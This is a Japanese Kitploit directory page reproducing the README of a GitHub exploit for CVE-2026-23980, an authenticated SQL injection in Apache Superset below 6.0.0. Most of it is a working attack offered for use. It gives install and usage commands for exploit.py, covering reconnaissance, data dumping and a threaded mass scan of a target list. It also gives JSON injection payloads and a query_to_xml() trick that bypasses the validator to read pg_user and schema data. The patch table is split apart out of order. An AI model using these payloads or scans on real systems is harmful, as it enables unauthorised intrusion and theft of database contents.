Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23980-Exploit — CVE-2026-23980 のエクスプロイト — Apache Superset < 6.0.0 における sqlExpression バイパスを介した認証済みエラーベース SQL インジェクション | Kitploit
ツール/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

CVE-2026-23980 のエクスプロイト — Apache Superset < 6.0.0 における sqlExpression バイパスを介した認証済みエラーベース SQL インジェクション

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
4ヶ月前未レビュー

CVE-2026-23980 - Apache Superset 認証済みSQLインジェクション

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpressionはそのままクエリに渡される。パラメータ化なし。希望なし。

Apache Superset 6.0.0未満では、読み取りアクセス権を持つ認証済みユーザーが /api/v1/chart/data エンドポイントの sqlExpression または where パラメータを介してエラーベースSQLインジェクションを実行できます。

validate_adhoc_subquery() フィルタは、PostgreSQLのXML関数(query_to_xml など)を使用してバイパスされます。これらの関数はSQLを関数引数として実行するため、sqlparse トークナイザーには見えません。

  • CVSS: 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (SQLインジェクション)
  • 影響を受けるバージョン: Apache Superset 6.0.0未満
  • 修正バージョン: Apache Superset 6.0.0
  • 認証要件: あり(読み取りアクセス)
  • データベース: PostgreSQL(エラーベース抽出)

攻撃チェーン

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc列のsqlExpression / extras.whereにインジェクション
  -> validate_adhoc_subquery() を query_to_xml() でバイパス
  -> 生のSQLがPostgreSQLに到達
  -> CAST((...) AS INT) エラーでレスポンスにデータが漏洩

インストール

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

使用方法

偵察 - フィンガープリントとデータソースの列挙

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

データソースがインジェクション可能かテスト

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

エラーベースSQLiによるデータ抽出

root@kitploit:~
# データベースバージョン
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# データベースユーザー
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# テーブル一覧
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# 現在のユーザー
python3 exploit.py ... --sql "SELECT current_user"

query_to_xml() によるサブクエリ検証のバイパス

validate_adhoc_subquery() がクエリをブロックした場合(FROM/JOINを検出):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

これによりクエリが query_to_xml() でラップされ、FROM句がトークナイザーから隠蔽されます。

複数行のダンプ

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

WHEREインジェクションポイントの使用

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

一括スキャン

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Burp経由のプロキシ

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

動作原理

インジェクションベクター

sqlExpression(デフォルト) - 列定義にインジェクション:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - extras.where句にインジェクション:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

エラーベース抽出

このエクスプロイトはPostgreSQLの型キャストを利用してデータを漏洩させます:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQLは文字列を整数に変換できないため、次のエラーが発生します:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

漏洩した値はAPIレスポンスのエラーメッセージから解析されます。

検証バイパス

Supersetの has_table_query() は FROM/JOIN をスキャンしてサブクエリを検出します。PostgreSQLの query_to_xml() はSQLを実行しますが、関数引数として隠蔽します:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

トークナイザーは関数呼び出しとして認識し、FROM句として認識しないため、フィルタをバイパスします。

パッチ分析

バージョンステータス
< 4.0.2脆弱性あり(XML関数の拒否リストなし)

参考情報

  • NVD - CVE-2026-23980
  • Apache Advisory
  • Quarkslab - Bypass Superset SQLi restrictions
  • OSS Security
  • CVE-2025-48912 - Related RLS bypass

免責事項

このツールは許可されたセキュリティ研究のみを目的としています。明示的なテスト許可を得たシステムに対してのみ使用してください。作者は不正使用について一切の責任を負いません。

ツールをダウンロード
4.0.2部分修正(CVE-2024-39887 - 一部のXML関数を拒否リストに追加)
4.1.0拒否リスト拡張(より多くのXML関数)
4.1.2行レベルセキュリティのバイパスを修正(CVE-2025-48912)
6.0.0CVE-2026-23980の完全修正